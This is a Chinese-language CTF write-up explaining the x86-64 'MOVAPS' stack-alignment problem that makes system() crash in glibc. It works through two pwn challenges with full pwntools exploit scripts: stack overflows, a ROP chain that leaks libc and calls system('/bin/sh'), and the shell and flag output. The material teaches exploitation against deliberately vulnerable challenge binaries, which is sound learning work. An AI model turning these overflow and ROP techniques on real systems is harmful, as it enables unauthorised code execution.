【CTF大赛】100步getshell之就差一步——The MOVAPS issue
當你完美的在棧上進行了布局,泄露了libc的地址,并且在libc中獲得了syetem地址,獲得了’/bin/sh’地址,此時此時就差一步sendline就打通了,可是你忽然發現,什么?為什么system失敗了?地址也對啊,檢查了一遍又一遍,全部都對啊。
此時的你開始懷疑,是不是Server上用了個新的libc?是不是地址獲取錯誤?總之一萬個問題向你來襲。但其實可能就只是一個retn解決的問題,在最后一步絆倒了你。這個問題其實就是The MOVAPS issue
問題的起因
首先放上小明同學最近遇到的兩個題目:
Tamilctf2021,pwn,Nameserver
DownUnderCTF2021,pwn,outBackdoor
有興趣的小伙伴可以看看這兩個題目。兩個題目很相似,都是棧溢出,控制了eip.但是!都拿不到shell!!氣人不
DownUnderCTF2021-outBackdoor
DownUnderCTF中簡單很多,直接提供了一個outBackdoor函數
保護機制
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)漏洞
int __cdecl main(int argc, const char **argv, const char **envp) {char v4[16]; // [rsp+0h] [rbp-10h] BYREFbuffer_init(argc, argv, envp);puts("\nFool me once, shame on you. Fool me twice, shame on me.");puts("\nSeriously though, what features would be cool? Maybe it could play a song?");gets(v4);return 0; } int outBackdoor() {puts("\n\nW...w...Wait? Who put this backdoor out back here?");return system("/bin/sh"); }//main的v4棧結構 -0000000000000010 var_10 db 16 dup(?) +0000000000000000 s db 8 dup(?) +0000000000000008 r db 8 dup(?) +0000000000000010 +0000000000000010 ; end of stack variables很簡單,棧溢出,根據main的棧結構,我們知道只需要填充0x10+8個數據,就可以覆蓋到eip。
是不是很簡單?exploit如下:
#!/usr/bin/python #coding:utf-8[/size][/align][align=left][size=3] from pwn import *context(os = 'linux', log_level='debug') local_path = './outBackdoor' addr = 'pwn-2021.duc.tf' port = 31921is_local = 1if is_local != 0:io = process(local_path,close_fds=True)else:io = remote(addr, port) # io = gdb.debug(local_path)elf=ELF(local_path) p_backdoor=elf.symbols['outBackdoor']p_main = elf.symbols['main'] p_system = elf.symbols['system'] p_bin_sh = 0x4020CD p_pop_rdi = 0x040125b p_retn = 0x04011FA p_ = 0x04011E7io.recvuntil(b"Maybe it could play a song") #錯誤示范 get_shell = cyclic(16 + 8) + p64(p_backdoor) #錯誤示范# gdb.attach(io, "b * outBackdoor") gdb.attach(io, "b * main") io.sendline(get_shell)io.interactive()感興趣的同學可以檢查一下,確認這段exp確實沒有問題(至少現在看來是)。但是我們打一下會發現,有些奇怪的事情發生了。
程序輸出了如下提示,很容易發現這段提示來自于outBackdoor函數,說明我們確實打入了outBackdoor,并且開始執行shell。但是無論你如何去打去試都打不進去?神馬?為什么?
W...w...Wait? Who put this backdoor out back here?我的解法
.text:00000000004011E7 lea rdi, command ; "/bin/sh" .text:00000000004011EE mov eax, 0 .text:00000000004011F3 call _system .text:00000000004011F8 nop .text:00000000004011F9 pop rbp .text:00000000004011FA retn將上述錯誤示范替換成如下,成功拿到shell p_ = 0x04011E7 get_shell = cyclic(16 + 8) + p64(p_) # 這個也可以才疏學淺啊,雖然拿到了shell,但是卻是迷之shell,為什么?沒有細細思考這個問題,畢竟入門小白,體會不到出題大神的出題思路。所以這個問題懸而未解。
正解
直到有一天,我在CTFtime上看到了這道題的正確解法^1,再次感受到了才疏學淺。
這個writeup的意思是,在這個鏈接^2 中有這個問題的答案,只需要一個retn就可以了。
什么!默默的打開了這個鏈接,關鍵信息如下:
After searching the instruction movaps segfault I came across this site^3 that explains the issue.
The MOVAPS issue If you’re using Ubuntu 18.04 and segfaulting on a
movaps instruction in buffered_vfprintf() or do_system() in the 64 bit
challenges then ensure the stack is 16 byte aligned before returning
to GLIBC functions such as printf() and system(). The version of GLIBC
packaged with Ubuntu 18.04 uses movaps instructions to move data onto
the stack in some functions. The 64 bit calling convention requires
the stack to be 16 byte aligned before a call instruction but this is
easily violated during ROP chain execution, causing all further calls
from that function to be made with a misaligned stack. movaps triggers
a general protection fault when operating on unaligned data, so try
padding your ROP chain with an extra ret before returning into a
function or return further into a function to skip a push instruction.
Simply adding a call to a ret gadget before the call to system aligned bytes, and allowed me to pop a shell.
簡單總結:就是在64位的機器上,當你要調用printf或是system時,請保證rsp&0xf==0,說人話就是16字節對齊,最后4比特為0。當不滿足上述條件的時候就報錯。
好神奇啊!這就是說,我在構造payload的時候,棧不滿足上述條件咯,祭出GDB.
如上圖所示,果真在調用system函數時最低4比特不為0(實際上那半個字節是8)
那么,我們自己的方法呢?
確實,最低4比特為0,滿足條件。
他的方法,加上retn,同樣滿足條件:
這個時候,我明白一個道理:我就是瞎貓碰見死耗子了呀!!!!
下面分析一番,為什么我們碰見這個死耗子。
瞎貓碰見死耗子
死耗子分析
如下,payload中唯一不一樣的地方,但是卻有的能拿到shell,有的不能:
我們就具體分析一下:
我們將斷點斷在main函數返回時的retn,
隨后執行retn,在棧頂彈出值賦給eip。此時棧結構變為
可以看到,此時rsp是rsp 0x7fffc8d60ec0
隨后進行了一步操作,將保存上一個棧的棧底,以便在本函數執行完畢后,恢復上一個棧。也就是這一步后,我們的棧頂rsp發生了變化
? 0x4011d7 <outBackdoor> push rbp
并且這個變化保持到了system調用。自此,因為不滿足rsp&0xf==0,失敗!
好了,這個死耗子分析完了
我為什么會碰上呢?
p_ = 0x04011E7 get_shell = cyclic(16 + 8) + p64(p_) # 這個也可以因為我的解法中,我直接將eip控制到了上圖中0x4011e7的位置,完美跳過了push rbp的操作,所以rsp是滿足條件的。(不要問我為什么會想到這么“天才”的想法,因為我是“天猜”的)
那么他的解法是什么原理呢?
get_shell = cyclic(16 + 8) + p64(p_retn) + p64(p_backdoor)可以看出,在進入backdoor函數之前,進行了一個retn操作。retn操作其實就是將棧頂的一個單位彈出到EIP中,在本例中就是rsp+8,所以先彈出一個單位,再在backdoor函數中壓入一個單位,這不就平衡了!
Tamilctf2021-Nameserver
無獨有偶,在DownUnderCTF開始后的兩天,TamilCTF也出了一道這么個題。
Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x400000)int __cdecl main(int argc, const char **argv, const char **envp) {char buf[32]; // [rsp+0h] [rbp-20h] BYREFsetbuf(_bss_start, 0LL);puts("Welcome to TamilCTF");printf("what is you name: ");read(0, buf, 500uLL);return 0; }典型的棧溢出,先通過puts泄露libc地址,然后在libc中找到system,/bin/sh的地址,ROP,getshell。哈哈,輕車熟路。exp如下:
from pwn import * from LibcSearcher import *context(log_level='debug') # context.terminal = ['terminator','-x','sh','-c']local_path = './name-serv'addr = '3.97.113.25' port = 9001is_local = 0def debug(cmd):gdb.attach(io, cmd)if is_local:io = process(local_path)# debug('b * (vuln+0x121d - 0x11a2)')# debug('b * (main)') else:io = remote(addr, port)# io.recvuntil(b'what is you name: ')# payload = cyclic(500)p_pop_rdi= 0x0004006d3elf = ELF(local_path)p_puts_plt = elf.plt['puts'] p_puts_got = elf.got['puts'] p_read_got = elf.got['read'] p_start = elf.symbols['_start'] p_main = elf.symbols['main'] p_read = elf.symbols['read'] p_bss = elf.bss()io.recvuntil(b'what is you name: ') payload = b'a'*40 + p64(p_pop_rdi) + p64(p_puts_got) + p64(p_puts_plt) + p64(p_main) io.send(payload) p_puts_addr = u64(io.recvuntil(b'\n')[:-1].ljust(8, b'\x00')) print(hex(p_puts_addr))obj = ELF('/lib/x86_64-linux-gnu/libc.so.6') libc_base = p_puts_addr - obj.symbols['puts'] #算出libc基地址 system = libc_base+obj.symbols['system'] #算出各函數的真實地址 bins = libc_base+next(obj.search(b'/bin/sh'))# gdb.attach(io, ''' # b *0x400660 # c # ''' # )payload = b'a'*40 + p64(p_pop_rdi) + p64(bins) + p64(system) #錯誤示范 io.send(payload)io.interactive() 啊哈哈,錯誤示范(心路歷程:一直以為是libc出了問題,試過了Libcsearcher,DynELF,別提多崩潰了)# 重點是這個retn的加入,原因是 ''' The MOVAPS issue If you're segfaulting on a movaps instruction in buffered_vfprintf() or do_system() in the x86_64 challenges, then ensure the stack is 16-byte aligned before returning to GLIBC functions such as printf() or system(). Some versions of GLIBC uses movaps instructions to move data onto the stack in certain functions. The 64 bit calling convention requires the stack to be 16-byte aligned before a call instruction but this is easily violated during ROP chain execution, causing all further calls from that function to be made with a misaligned stack. movaps triggers a general protection fault when operating on unaligned data, so try padding your ROP chain with an extra ret before returning into a function or return further into a function to skip a push instruction. ''' p_retn = 0x00400661 payload = b'a'*40 + p64(p_pop_rdi) + p64(bins) + p64(p_retn) + p64(system)加上retn, get shell.
what is you name: $ ls [DEBUG] Sent 0x3 bytes:b'ls\n' [DEBUG] Received 0x26 bytes:b'flag.txt\n'b'libc.so.6\n'b'name-serv\n'b'start.sh\n' flag.txt libc.so.6 name-serv start.sh $ cat flag.txt [DEBUG] Sent 0xd bytes:b'cat flag.txt\n' [DEBUG] Received 0x27 bytes:b'TamilCTF{ReT_1s_M0rE_p0wErFu1_a5_LIBC}\n' TamilCTF{ReT_1s_M0rE_p0wErFu1_a5_LIBC}總結
本文主要對The MOVAPS issue問題進行了解釋,并結合DownUnderCTF2021和TamilCTF2021中相關的兩個題目進行了分析。就題目本身而言,非常簡單的ROP,考察的知識點就是The MOVAPS issue,理解了就很容易。
最近看到一句話,再次刷新了我的認知,RE不僅考的是reverse的技巧,還考察了Google和GIThub的技巧;Crypto不僅考察了你的數學知識,還考察了你閱讀paper的能力。
所以啊,你以為的真的是你以為的嗎?
世界那么大,多出去看看吧。參考文獻
關注私我獲取【網絡安全學習攻略】
總結
以上是生活随笔為你收集整理的【CTF大赛】100步getshell之就差一步——The MOVAPS issue的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: GO静态免杀初探
- 下一篇: Linux Security Modul